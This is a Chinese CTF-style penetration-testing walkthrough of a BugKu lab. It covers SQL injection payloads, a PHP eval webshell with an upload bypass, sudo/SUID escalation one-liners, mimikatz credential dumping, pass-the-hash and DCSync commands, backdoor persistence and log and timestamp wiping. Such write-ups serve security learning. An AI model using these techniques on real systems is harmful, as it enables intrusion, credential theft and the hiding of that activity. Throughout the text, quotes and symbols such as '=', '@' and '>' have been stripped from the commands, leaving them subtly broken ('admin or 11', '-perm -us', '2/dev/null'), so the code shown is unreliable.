1. 項目概述一次完整的滲透測試實戰(zhàn)復盤最近在BugKu平臺上復現(xiàn)了一個綜合性的滲透測試靶場從外部信息收集到最終的內(nèi)網(wǎng)提權(quán)整個過程涉及了Web滲透、權(quán)限維持、橫向移動等多個階段。這不僅僅是一次CTF解題更是一個貼近真實滲透測試場景的演練。很多朋友在接觸滲透測試時往往對單個漏洞的利用比較熟悉但缺乏將多個技術(shù)點串聯(lián)起來、形成完整攻擊鏈路的經(jīng)驗。這篇WriteUp的目的就是詳細拆解這個從“零”到“內(nèi)網(wǎng)提權(quán)”的完整過程把每一步的思路、踩過的坑和關(guān)鍵技巧都記錄下來希望能給正在學習的朋友提供一個清晰的實戰(zhàn)參考框架。這個靶場環(huán)境模擬了一個存在多處安全缺陷的企業(yè)應用攻擊者從公開的Web服務(wù)入手逐步深入內(nèi)網(wǎng)核心區(qū)域。整個過程會用到信息收集、漏洞掃描、Web漏洞利用、權(quán)限提升、內(nèi)網(wǎng)探測、橫向移動等核心技能。無論你是剛?cè)腴T的新手還是想梳理自己知識體系的老手跟著這個流程走一遍都能對滲透測試的“全貌”有一個更深刻的理解。下面我們就從最初的偵察階段開始。2. 靶場環(huán)境與前期信息收集在開始任何攻擊之前充分的信息收集是成功的一半。盲目地使用工具掃描不僅效率低下還容易觸發(fā)安全設(shè)備的告警。我們的目標是像真正的攻擊者一樣安靜而高效地摸清目標的情況。2.1 目標鎖定與基礎(chǔ)信息探測首先我們需要明確目標。在BugKu這類平臺通常會給出一個IP地址或域名。假設(shè)我們的目標是target.bugku.com。第一步使用最基本的命令來確認其存活狀態(tài)和初步信息。ping target.bugku.com如果ping不通可能禁用了ICMP我們可以嘗試使用nmap進行TCP ping掃描。nmap -sn target.bugku.com確認目標在線后接下來進行端口掃描這是信息收集的核心。我們不僅要掃描常見的80、443端口還要關(guān)注一些可能用于管理或后端服務(wù)的端口如21FTP、22SSH、3306MySQL、3389RDP等。nmap -sS -sV -O -p- -T4 target.bugku.com -oN nmap_initial.txt參數(shù)解釋-sS: TCP SYN掃描一種半開放掃描相對隱蔽。-sV: 探測服務(wù)版本。-O: 嘗試識別操作系統(tǒng)。-p-: 掃描所有65535個端口。-T4: 設(shè)置掃描速度0-5T4為較快速度在CTF環(huán)境可用。-oN: 將結(jié)果輸出到文件。掃描結(jié)果可能顯示開放了80端口HTTP和22端口SSH。Web服務(wù)往往是突破口。2.2 Web應用指紋識別與目錄枚舉針對80端口的Web服務(wù)我們首先用瀏覽器訪問看看是什么應用。假設(shè)是一個登錄頁面。我們需要識別其使用的技術(shù)棧。瀏覽器開發(fā)者工具查看響應頭尋找Server、X-Powered-By等字段可能泄露服務(wù)器類型如Apache/Nginx、后端語言PHP/ASP.NET和框架。Wappalyzer插件瀏覽器插件可快速識別網(wǎng)站使用的技術(shù)如CMSWordPress, Joomla、前端框架、JavaScript庫等。命令行工具使用whatweb進行更詳細的指紋識別。whatweb http://target.bugku.com假設(shè)識別出這是一個基于PHP的自定義應用。接下來我們需要尋找隱藏的目錄和文件比如后臺管理頁面、配置文件、備份文件等。這里使用gobuster或dirsearch進行目錄爆破。gobuster dir -u http://target.bugku.com -w /usr/share/wordlists/dirb/common.txt -x php,txt,html,bak -t 50參數(shù)解釋dir: 指定目錄掃描模式。-u: 目標URL。-w: 指定字典文件。common.txt是一個常用字典。-x: 指定嘗試的文件擴展名。bak是備份文件常見后綴。-t: 線程數(shù)。掃描結(jié)果可能發(fā)現(xiàn)了/admin、/login.php、/config.php.bak等關(guān)鍵路徑。訪問/config.php.bak可能會直接下載到一個備份的配置文件這里面極有可能包含數(shù)據(jù)庫連接信息如數(shù)據(jù)庫IP、用戶名、密碼。這是第一個關(guān)鍵點永遠不要忽視備份文件。注意在實際滲透測試中目錄爆破的字典選擇和線程控制需要謹慎。過于激進的掃描可能被WAF封禁。可以先使用小字典、低線程進行試探。3. 漏洞挖掘與初始訪問突破拿到初步信息后我們開始尋找具體的漏洞點目標是獲得一個初始的立足點也就是常說的“拿到Shell”。3.1 SQL注入漏洞的發(fā)現(xiàn)與利用訪問/login.php是一個登錄框。常見的測試點包括萬能密碼嘗試admin or 11等經(jīng)典Payload。SQL注入在用戶名和密碼框嘗試注入。使用Burp Suite攔截登錄請求發(fā)送到Repeater模塊進行測試。假設(shè)在用戶名參數(shù)處發(fā)現(xiàn)存在SQL注入。我們使用sqlmap進行自動化驗證和利用但在此之前理解手動測試過程很重要。手動測試步驟在Burp Repeater中修改username參數(shù)為admin觀察返回。如果報錯提示SQL語法錯誤則存在注入點。確認注入類型。嘗試admin AND 11和admin AND 12。如果前者返回正常如“用戶名錯誤”后者返回異常如直接報錯或空白則很可能是字符型注入。確定字段數(shù)。使用ORDER BY子句遞增測試admin ORDER BY 1--,ORDER BY 2--... 直到報錯。假設(shè)ORDER BY 3時報錯說明有2個字段。聯(lián)合查詢獲取數(shù)據(jù)。構(gòu)造Payloadadmin UNION SELECT 1,2--。查看頁面回顯位置數(shù)字1和2可能會在頁面某處顯示出來這里就是我們可以獲取數(shù)據(jù)的位置。獲取數(shù)據(jù)庫信息。例如admin UNION SELECT version(), database()--可以分別獲取數(shù)據(jù)庫版本和當前數(shù)據(jù)庫名。使用sqlmap自動化sqlmap -u http://target.bugku.com/login.php --datausernameadminpasswordtest --level3 --risk2 --batch如果注入成功我們可以嘗試直接獲取Webshell。通過--os-shell參數(shù)sqlmap會嘗試上傳一個用于執(zhí)行命令的腳本。但這種方式成功率依賴于數(shù)據(jù)庫權(quán)限和服務(wù)器配置。更常見的是我們通過注入點獲取到管理員的賬號密碼哈希值然后破解或直接用于登錄后臺。假設(shè)我們通過UNION SELECT從用戶表中獲取到了管理員用戶名admin和密碼哈希5f4dcc3b5aa765d61d8327deb882cf99MD5。通過在線CMD5網(wǎng)站或本地破解得知明文密碼是password。成功登錄后臺。3.2 文件上傳漏洞與Getshell進入后臺后尋找文件上傳功能點如圖片上傳、附件上傳、插件安裝等。這是獲取Webshell的經(jīng)典途徑。漏洞利用過程前端繞過有時上傳限制僅由JavaScript實現(xiàn)??梢越脼g覽器JS或使用Burp攔截請求修改文件擴展名。后端繞過這是重點。常見的檢查包括擴展名黑/白名單嘗試上傳.php,.php3,.php5,.phtml,.phps等。如果服務(wù)器解析.php5就可能成功。MIME類型檢查攔截上傳請求將Content-Type改為image/jpeg或image/png。文件內(nèi)容檢查檢查文件頭Magic Bytes。我們可以在PHP代碼前添加GIF文件頭GIF89a;制作圖片馬。二次渲染對于圖片上傳后服務(wù)器會進行壓縮或裁剪的情況需要精心構(gòu)造繞過。實操示例假設(shè)后臺有一個“上傳頭像”功能只允許.jpg,.png,.gif。準備一個簡單的PHP Webshell文件shell.php內(nèi)容為?php eval($_POST[cmd]);?。使用Burp Suite攔截上傳請求。將文件名改為shell.php.jpg雙擴展名可能繞過簡單的基于字符串匹配的檢查。將Content-Type改為image/jpeg。放行請求。如果返回了文件路徑如/uploads/shell.php.jpg直接訪問可能被當作圖片處理不解析PHP代碼。這時需要結(jié)合文件包含漏洞Local File Inclusion, LFI。如果應用存在LFI我們可以通過包含這個上傳的“圖片馬”來執(zhí)行代碼。假設(shè)我們發(fā)現(xiàn)URL參數(shù)中存在?pageabout.php嘗試?page../../uploads/shell.php.jpg如果服務(wù)器配置不當如allow_url_include開啟我們的PHP代碼就會被執(zhí)行。實操心得文件上傳的繞過是組合拳。一個技巧不行就換另一個。務(wù)必準備一個功能強大的Webshell例如“蟻劍”或“冰蝎”的客戶端腳本它們支持加密連接和多種代理更適合內(nèi)網(wǎng)穿透。上傳成功后立即用客戶端連接測試命令執(zhí)行whoami和ipconfig/ifconfig確認當前權(quán)限和網(wǎng)絡(luò)環(huán)境。4. 權(quán)限提升從Web權(quán)限到系統(tǒng)權(quán)限通過Webshell我們通常以www-data(Linux) 或iis apppool\defaultapppool(Windows) 等低權(quán)限Web服務(wù)賬戶身份運行。這個權(quán)限非常有限無法讀取敏感文件、安裝軟件或進行橫向移動。因此提權(quán)Privilege Escalation是必須的一步。4.1 Linux系統(tǒng)提權(quán)方法論拿到一個Linux的Shell后我習慣按以下順序進行信息收集和提權(quán)嘗試第一步全面信息收集# 系統(tǒng)信息 uname -a cat /etc/issue cat /etc/*-release # 內(nèi)核版本是提權(quán)的重要依據(jù) # 用戶和權(quán)限信息 id whoami sudo -l # 查看當前用戶可以以root身份運行哪些命令這是最直接的提權(quán)路徑 cat /etc/passwd cat /etc/shadow # 通常讀不了但可以試試 # 進程和服務(wù)信息 ps aux ps -ef netstat -antup systemctl list-units --typeservice # 計劃任務(wù) crontab -l ls -la /etc/cron* # 查看系統(tǒng)計劃任務(wù)目錄 # SUID/SGID文件查找重點 find / -perm -us -type f 2/dev/null find / -perm -gs -type f 2/dev/null # 這些文件以文件所有者的權(quán)限運行如果所有者是root且程序存在漏洞就可能提權(quán) # 可寫文件查找 find / -writable -type d 2/dev/null # 可寫目錄 find / -perm -ow -type f 2/dev/null # 全局可寫文件 # 環(huán)境變量 env echo $PATH第二步基于信息的針對性攻擊sudo -l如果返回(ALL : ALL) ALL或允許運行某些編輯器如vim, nano、語言解釋器如python, perl可以直接提權(quán)。例如sudo python -c import os; os.system(/bin/bash)SUID文件常見的危險SUID程序有find,vim,bash,cp,nmap舊版本等。例如發(fā)現(xiàn)/usr/bin/find有SUID位可以find . -exec /bin/bash -p \;來啟動一個帶特權(quán)-p的bash??梢允褂胔ttps://gtfobins.github.io/這個網(wǎng)站查詢特定命令的提權(quán)方法。內(nèi)核漏洞如果內(nèi)核版本較老存在公開的提權(quán)漏洞如DirtyCow, CVE-2021-4034等。使用uname -r獲取內(nèi)核版本然后搜索對應的Exploit。在本地編譯好exp通過Webshell上傳編譯執(zhí)行需確保有g(shù)cc。或者使用預編譯的、跨平臺的exp如linpeas.sh腳本它能自動檢測多種提權(quán)路徑。計劃任務(wù)檢查/etc/crontab和/var/spool/cron/crontabs/。如果有一個以root身份運行的定時任務(wù)調(diào)用了我們具有寫入權(quán)限的腳本或二進制文件我們可以替換該文件來實現(xiàn)提權(quán)。環(huán)境變量劫持如果發(fā)現(xiàn)一個SUID程序調(diào)用了另一個相對路徑的命令如system(ls)而我們可以控制PATH環(huán)境變量就可以劫持這個命令。在這個靶場中假設(shè)我們通過sudo -l發(fā)現(xiàn)當前用戶可以以root身份無需密碼運行/usr/bin/vi。那么提權(quán)就非常簡單sudo vi /etc/passwd # 在vi命令模式下輸入 :!bash 即可直接獲得一個root shell。 # 或者更直接sudo vi -c !bash4.2 Windows系統(tǒng)提權(quán)思路Windows提權(quán)思路類似但工具和命令不同。信息收集命令systeminfo whoami /priv # 查看特權(quán)信息如SeImpersonatePrivilege土豆提權(quán)關(guān)鍵 net user net localgroup administrators netstat -ano tasklist /svc schtasks /query /fo LIST /v常見提權(quán)路徑服務(wù)漏洞檢查非微軟服務(wù)、路徑帶空格且權(quán)限配置不當?shù)姆?wù)。使用accesschk.exeSysInternals工具或PowerUp.ps1腳本來檢查服務(wù)權(quán)限。AlwaysInstallElevated如果這兩個注冊表項均為1則任何MSI文件都以SYSTEM權(quán)限安裝。reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated計劃任務(wù)同Linux檢查是否有高權(quán)限任務(wù)調(diào)用用戶可修改的腳本。DLL劫持高權(quán)限程序運行時如果在其目錄下放置一個惡意的同名DLL可能會被加載。令牌竊取與土豆家族提權(quán)如果當前用戶具有SeImpersonatePrivilege或SeAssignPrimaryTokenPrivilege權(quán)限IIS、SQL Server等服務(wù)賬戶常具備可以利用一系列“土豆”漏洞進行提權(quán)如Rotten Potato、Juicy Potato、PrintSpoofer、Sweet Potato等。這是Windows上非常經(jīng)典的提權(quán)方式。內(nèi)核漏洞同樣使用systeminfo查看系統(tǒng)版本和補丁尋找缺失的補丁對應的本地提權(quán)EXP。常用工具如Windows-Exploit-Suggester。假設(shè)在靶場中我們通過whoami /priv發(fā)現(xiàn)啟用了SeImpersonatePrivilege那么可以上傳一個JuicyPotato.exe或PrintSpoofer.exe的利用程序執(zhí)行后直接獲得SYSTEM權(quán)限的Shell。注意事項提權(quán)EXP的利用具有風險可能造成系統(tǒng)不穩(wěn)定或崩潰。在生產(chǎn)環(huán)境測試中必須獲得明確授權(quán)并在測試環(huán)境中充分驗證。上傳的提權(quán)工具可能會被殺毒軟件查殺需要做免殺處理或使用替代方法。5. 內(nèi)網(wǎng)滲透與橫向移動獲得目標服務(wù)器的系統(tǒng)權(quán)限尤其是Windows的域用戶權(quán)限或Linux的root權(quán)限后我們的視野就從單臺機器擴展到了整個內(nèi)網(wǎng)。內(nèi)網(wǎng)滲透的目標是發(fā)現(xiàn)更多資產(chǎn)、獲取更核心的數(shù)據(jù)、控制更關(guān)鍵的機器如域控制器。5.1 內(nèi)網(wǎng)信息收集與網(wǎng)絡(luò)拓撲探測首先我們需要摸清自己在內(nèi)網(wǎng)中的位置和周圍環(huán)境?;A(chǔ)網(wǎng)絡(luò)信息# Linux ifconfig / ip addr route -n # 查看路由表 cat /etc/resolv.conf # 查看DNS服務(wù)器可能是域控 # Windows ipconfig /all route print arp -a # ARP緩存表顯示最近通信過的IP和MAC發(fā)現(xiàn)存活主機由于內(nèi)網(wǎng)可能禁止ICMP我們需要使用TCP/UDP掃描。# 使用上傳的nmap如果目標機有或使用腳本 # 簡單for循環(huán)ping掃描Linux bash for i in {1..254}; do ping -c 1 -W 1 192.168.1.$i | grep from done # 更高效的方式是使用上傳的輕量級工具或者利用已有環(huán)境編譯。 # 常見的是上傳一個靜態(tài)編譯的nmap或者使用PowerShell (Windows) 或 Python腳本。例如在Windows上可以執(zhí)行一個簡單的PowerShell腳本來掃描常見端口1..254 | % {echo 192.168.1.$_; Test-NetConnection -ComputerName 192.168.1.$_ -Port 445 -WarningAction SilentlyContinue -InformationLevel Quiet}端口445SMB是內(nèi)網(wǎng)Windows主機發(fā)現(xiàn)和后續(xù)攻擊的重要端口。收集憑證信息Linux查看/etc/passwd和/etc/shadow需root嘗試破解哈希。檢查用戶家目錄下的.bash_history,.ssh/目錄。Windows重點內(nèi)存中提取密碼使用mimikatz需管理員權(quán)限。這是獲取明文密碼、票據(jù)的神器。privilege::debug sekurlsa::logonpasswordsSAM文件提取導出C:\Windows\System32\config\SAM和SYSTEM文件在本地用mimikatz或hashcat破解。查找敏感文件搜索*.txt,*.xls,*.doc,*.pdf,config,password等關(guān)鍵詞。瀏覽器密碼使用LaZagne等工具提取瀏覽器保存的密碼。5.2 橫向移動技術(shù)實戰(zhàn)拿到一臺內(nèi)網(wǎng)機器的憑證用戶名和密碼/哈希后就可以嘗試登錄其他機器。利用SMB/WMI進行命令執(zhí)行psexecSysInternals工具使用明文密碼或哈希進行遠程執(zhí)行。psexec \\192.168.1.10 -u Administrator -p Password123 cmdwmic系統(tǒng)自帶。wmic /node:192.168.1.10 /user:Administrator /password:Password123 process call create cmd.exe /c whoami C:\result.txtsmbexecImpacket工具套件中的腳本使用哈希認證。python smbexec.py domain/Administrator:Password123192.168.1.10CrackMapExec (CME)內(nèi)網(wǎng)滲透瑞士軍刀支持多種協(xié)議和攻擊方式。crackmapexec smb 192.168.1.0/24 -u Administrator -p Password123 -x whoamiPass-the-Hash (PtH) 攻擊在Windows網(wǎng)絡(luò)中很多時候我們不需要破解出明文密碼直接使用從內(nèi)存或SAM中提取的NTLM哈希就可以進行身份驗證訪問其他資源。這就是哈希傳遞攻擊。上述的psexec、wmiexecImpacket、CrackMapExec都支持PtH。票據(jù)傳遞攻擊如果獲取的是Kerberos票據(jù)Ticket可以使用mimikatz進行票據(jù)傳遞攻擊。mimikatz # sekurlsa::tickets /export # 導出所有票據(jù) mimikatz # kerberos::ptt [0;123456]-2-0-40e10000-Administratorkrbtgt-DOMAIN.LOCAL.kirbi # 注入票據(jù)注入后就可以直接訪問該票據(jù)所允許訪問的服務(wù)如域控的C盤共享。利用WinRM/SSH如果目標主機開啟了WinRM5985/5986或SSH22可以直接使用憑證進行遠程連接。WinRM:Enter-PSSession -ComputerName 192.168.1.10 -Credential (Get-Credential)SSH:ssh Administrator192.168.1.10在本次靶場中假設(shè)我們從第一臺Web服務(wù)器192.168.1.100提權(quán)后通過信息收集發(fā)現(xiàn)了內(nèi)網(wǎng)網(wǎng)段192.168.2.0/24并且用mimikatz抓取到了本地管理員賬戶的哈希。使用CrackMapExec對192.168.2.0/24進行SMB掃描和哈希傳遞攻擊成功在192.168.2.50上執(zhí)行命令發(fā)現(xiàn)它是一臺域成員服務(wù)器。5.3 域滲透初步定位域控與獲取域管權(quán)限當發(fā)現(xiàn)域環(huán)境時攻擊就進入了新的階段。目標是域控制器Domain Controller, DC和域管理員賬戶。定位域控# Windows nltest /dclist:domain.local net group Domain Controllers /domain # 或者直接解析域名 nslookup -typeSRV _ldap._tcp.dc._msdcs.domain.local # Linux (如果已加入域或能解析) dig _ldap._tcp.dc._msdcs.domain.local SRV獲取域內(nèi)信息net user /domain列出域用戶。net group /domain列出域組。net group Domain Admins /domain查看域管理員成員。net group Enterprise Admins /domain查看企業(yè)管理員。使用BloodHound這類工具可以自動化分析域內(nèi)的權(quán)限關(guān)系找出從當前用戶到域管理員的最短攻擊路徑。攻擊域控Kerberoasting攻擊服務(wù)賬戶的SPN獲取其票據(jù)進行離線破解。AS-REP Roasting攻擊不需要預認證的賬戶。DCSync這是最致命的一招。如果一個賬戶被授予了Replicating Directory Changes權(quán)限通常域管理員具備就可以模擬域控進行數(shù)據(jù)同步直接導出域內(nèi)所有用戶的哈希。使用mimikatzmimikatz # lsadump::dcsync /domain:domain.local /user:Administrator獲得域管理員的哈希后就可以用PtH攻擊域控了。在靶場場景中我們可能通過橫向移動到了某臺域成員服務(wù)器利用該服務(wù)器上某個域用戶的內(nèi)存憑證通過DCSync攻擊獲取了域管理員的哈希最終成功控制域控制器。6. 權(quán)限維持與痕跡清理在取得階段性成果后為了長期控制目標需要部署權(quán)限維持的后門。同時為了減少被發(fā)現(xiàn)的風險需要清理活動痕跡。6.1 常見的權(quán)限維持方法Web后門在Web目錄下留下多個隱蔽的Webshell使用免殺技術(shù)、非常規(guī)文件名如..php、index.php.old或隱藏在圖片、日志文件中。系統(tǒng)后門LinuxSSH公鑰將攻擊者的公鑰寫入目標~/.ssh/authorized_keys。Cron后門添加一個定時任務(wù)定期反彈Shell到攻擊者服務(wù)器。SUID后門創(chuàng)建一個具有SUID位的自定義后門程序。PAM后門修改PAM認證模塊高風險易被發(fā)現(xiàn)。Windows計劃任務(wù)創(chuàng)建計劃任務(wù)定期連接。服務(wù)后門創(chuàng)建一個自啟動的惡意服務(wù)。WMI事件訂閱一種無文件、隱蔽的持久化方式。注冊表啟動項HKLM\Software\Microsoft\Windows\CurrentVersion\Run。影子賬戶創(chuàng)建一個隱藏的管理員賬戶。域環(huán)境持久化黃金票據(jù)在獲取krbtgt賬戶的哈希后可以偽造任意用戶的TGT票據(jù)實現(xiàn)“萬能鑰匙”。白銀票據(jù)偽造針對特定服務(wù)的ST票據(jù)。DSRM密碼同步修改域控的目錄服務(wù)還原模式密碼用于本地登錄。Skeleton Key向域控注入萬能密碼所有用戶都可以用這個密碼登錄但原密碼仍可用。6.2 痕跡清理要點清理痕跡需要謹慎過度清理本身可能成為異常行為。日志清理Linux清理/var/log/下的auth.log、secure、wtmp、btmp、lastlog等。使用shred或dd覆蓋刪除。Windows清理事件查看器中的安全日志、系統(tǒng)日志、應用程序日志。使用wevtutil命令或meterpreter的clearev模塊。文件操作痕跡刪除上傳的工具、生成的輸出文件。使用touch -tLinux或timestompMeterpreter修改文件時間戳使其與周圍文件一致。歷史命令清理Shell歷史記錄。Linux:history -c history -w或清空~/.bash_history文件。Windows PowerShell:Clear-History。網(wǎng)絡(luò)連接退出所有建立的連接。如果是反彈Shell結(jié)束進程。重要提醒在授權(quán)的滲透測試中是否進行痕跡清理需嚴格遵守測試協(xié)議。通常藍隊防御方需要根據(jù)攻擊痕跡來評估風險和加固系統(tǒng)。未經(jīng)授權(quán)的痕跡清理屬于違法行為。7. 總結(jié)與反思從WriteUp到實戰(zhàn)的跨越完成整個靶場從外網(wǎng)打點到內(nèi)網(wǎng)域控像走完了一個完整的攻擊生命周期。但WriteUp是“事后諸葛亮”真正的實戰(zhàn)充滿了不確定性。有幾點體會特別深刻第一信息收集的深度決定攻擊面的廣度。初期多花時間在端口、目錄、子域名、員工郵箱的收集上往往能發(fā)現(xiàn)意想不到的薄弱點。一個暴露的測試環(huán)境、一個遺忘的備份文件、一個默認口令的管理后臺都可能成為突破口。第二工具是手臂思路才是大腦。熟練掌握nmap,sqlmap,Burp Suite,mimikatz,CrackMapExec等工具是基礎(chǔ)但更重要的是知道在什么場景下該用什么工具以及如何組合使用。遇到WAF攔截sqlmap時能否手工注入無法上傳php時是否嘗試過.htaccess解析思路的靈活性往往比工具的自動化更重要。第三提權(quán)是耐心和知識的結(jié)合。提權(quán)沒有銀彈。需要系統(tǒng)性地枚舉信息對照已知的漏洞和錯誤配置去嘗試。養(yǎng)成習慣一拿到Shell就運行像linpeas、winpeas或Seatbelt這樣的自動化信息收集腳本能極大提高效率。第四內(nèi)網(wǎng)滲透是“信息戰(zhàn)”。拿到第一臺內(nèi)網(wǎng)機器的權(quán)限就像拿到了城堡大門的鑰匙。后續(xù)的橫向移動嚴重依賴于從這臺機器上獲取的憑證和網(wǎng)絡(luò)信息。因此在跳板機上深入挖掘密碼、票據(jù)、配置文件至關(guān)重要。最后永遠保持學習。安全技術(shù)日新月異新的漏洞如Log4j、Spring4Shell、新的繞過手法、新的防御技術(shù)EDR、零信任不斷涌現(xiàn)。這個靶場涵蓋的是經(jīng)典套路但現(xiàn)實中的網(wǎng)絡(luò)環(huán)境更加復雜。只有不斷學習新的攻擊技術(shù)和防御理念才能在滲透測試這條路上走得更遠。建議在掌握這些基礎(chǔ)后多去嘗試VulnHub、HackTheBox、PentesterLab上的其他靶機每一臺都有不同的知識點等待挖掘。